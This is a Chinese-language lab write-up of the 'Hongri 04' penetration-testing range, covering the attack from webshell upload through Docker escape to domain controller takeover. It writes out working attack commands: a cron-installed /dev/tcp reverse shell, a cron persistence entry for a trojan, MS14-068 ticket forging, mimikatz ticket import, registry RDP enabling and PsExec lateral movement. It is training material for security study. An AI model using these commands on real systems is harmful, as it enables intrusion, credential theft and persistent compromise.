红日靶场04
红日靶场04
环境配置
自定义一张网卡 vmnet1:192.168.183.0
将web主机添加一个NAT模式的网卡,再将所有主机(包括web)添加 vmnet1网卡
启动主机,先启动win7后再启动web(否则环境容易出问题)
主机密码:
- web:ubuntu:ubuntu
- DC:administrator:Test2008(登录提示密码过期,我这里更改为Admin123456)
- win7:douser:Dotest123
为了方便,登录主机后可以将win7的睡眠功能关掉,因为计算机休眠后sessions可能会断开:

登录ubuntu,打开命令行,sudo -s提升为root权限,然后启动容器列表前三个docker:

至此,环境搭建完毕,准备开打
信息搜集
IP探测

确定IP为192.168.111.134
端口扫描

发现开启了22、2001、2002、2003端口
网页信息收集
依次访问三个端口看看:
2001端口

通过网页title可知是struts2框架,而struts2存在很多历史漏洞,那么思路就是对这个输入框进行漏洞检测
2002端口
页面为tomcat,版本为8.5.19

同样可以使用漏扫器进行漏洞检测
2003端口
页面是phpmyadmin,但我这里好像出问题了:

问题不大,可以先尝试前两个端口有没有漏洞
漏洞利用
2001端口 S2-045上传webshell
首先看看2001端口的struts2,附上工具链接:shack2/Struts2VulsTools

扫描发现存在S2-045和S2-046,那么试试用S2-045利用:
上传一个冰蝎webshell:

冰蝎连接:

成功了
2002端口 tomcat解析漏洞上传webshell
这个版本的话,可以试试put漏洞:

也是成功上传一个冰蝎马,连接一下:

ok连上了,因为2003端口有点问题,所以就在这两个shell进行后渗透
后渗透
环境识别
先简单信息收集一下:

权限都是root,但这ip看起来不太正常呢,没懂
看看主机名:

随机字符串,有点像虚拟容器哈
验证下看看是不是docker:
find / -name .dockerenv

结果发现两个shell都是docker,那就只有试试docker逃逸了
docker逃逸
将CDK上传到两个docker中进行不安全配置扫描:

赋予权限并启动cdk:
./cdk* eva --full
首先是2001端口的docker:

不知道怎么回事失败了,再看看2002端口:

这里检测到当前容器是以特权模式启动的,所以可以使用mount命令将物理机目录挂载到docker容器某个目录:
./cdk* run mount-disk

ok,生成了目录/tmp/cdk_11VI1,cd进去看看:

确实挂载了根目录,那么接下来可以考虑写计划任务或者写SSH密钥,前者比较简单所以先试试:
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.111.132/4444 0>&1" >> tmp/shell.sh
chmod 777 tmp/shell.sh
echo '*/2 * * * * root bash /tmp/shell.sh' > etc/crontab

写入计划任务后kali监听拿到了物理机root权限的反弹shell:

权限为root,至此,完成docker逃逸
内网信息搜集
发现主机有内网网卡:

这里选择使用msf进行接下来的内网操作
首先用msf的马子上线,无需多言:

接下来就是配置路由:

完事
然后用frp搭建一个隧道,过程不做赘述,效果是这样:


这样就搭好了
proxychains也修改一下conf:

扫描域内主机:
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

发现了两台主机:
- TESTWIN7-PC:192.168.183.128
- WIN-ENS2VR5TR3N:192.168.183.130(还是DNS服务器,推测可能为域控)
可以用proxychain代理nmap进行端口扫描:
proxychains nmap -sP -p- 192.168.183.129
觉得nmap有点慢也可以用proxifier代理在windows上,然后用工具扫:


完毕,大大的445啊,首先想到经典的ms17010永恒之蓝
横向移动
ms17010上线域成员主机
这里要注意的是,攻击机在内网,所以paylaod应该选用正向即bind_tcp,并且最好把全局代理配上:
setg proxies socks5:127.0.0.1:8989

成功了,为了保持稳定,把进程注入到winlog.exe里面,然后再试试域控能否利用永恒之蓝:

失败(有的文章说也能成功。。。),那么先操作域成员主机
先看看权限:

OK是system权限
再看看系统信息:

发现存在域demo.com,看看域内主机:

用mimikatz抓取一下密码:

直接就抓到了:Dotest123
既然有了密码,首先就试试psexec:

寄,没有成功,因为靶场描述说要考查ms14068,所以怀疑这里要用域内提权来打DC,试试
ms14068域内提权
首先是把利用程序传上去(ms14-068.exe、mimikatz.exe和PsExec64.exe),这里靶机作者人挺好,程序都在上面我就不传了(不是因为我懒)
首先生成票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

mimikatz导入TGT:
kerberos::ptc TGT_douser@DEMO.COM.ccache

导入后再psexec横向移动试试
PsExec横向移动上线DC
这里使用PsExec64.exe前需要RDP连接该主机,因为这里拿到的DC的shell是一个弹窗
注册表开启RDP:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后用proxychains进行RDP连接:

这里报错了:

因为我们是system权限,可以改本地administrator账户的密码
net user administrator Admin123456
然后登录本地administrator,不登录到域:

这里又报错,需要再激活一下用户:
net user administrator /active:yes

现在应该可以RDP了,登录本地administrator账户:

成功登录
因为douser用户桌面有工具,所以我们打开他的桌面文件夹C:\Users\douser\Desktop:

直接命令行启动PsExec64.exe进行横向移动:
PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd

成功获取到了DC的shell,确认一下信息:

ok没有问题
权限维持
老套路,在出网的web主机上写计划任务即可,因为web主机上存有我们的msf木马(如果没有migrate迁移进程的话),所以可以这样写计划任务:
echo "* * * * * cd /root && ./mshell.elf" >> /var/spool/cron/crontabs/root

这样就会每分钟执行依次木马,msf监听即可获得shell:

总结
本次实践用到的知识点与操作方法:
- struts2漏洞,利用S2-045成功getshell
- Tomcat解析漏洞,PUT上传冰蝎马getshell
- Docker逃逸,利用docker配置不当实现docker逃逸,获得内网宿主机权限
- frp搭建内网隧道代理,方便内网阶段的渗透
- ms17-010,永恒之蓝获得域成员主机的shell
- ms14-068,域内提权配合psexec横向移动控制DC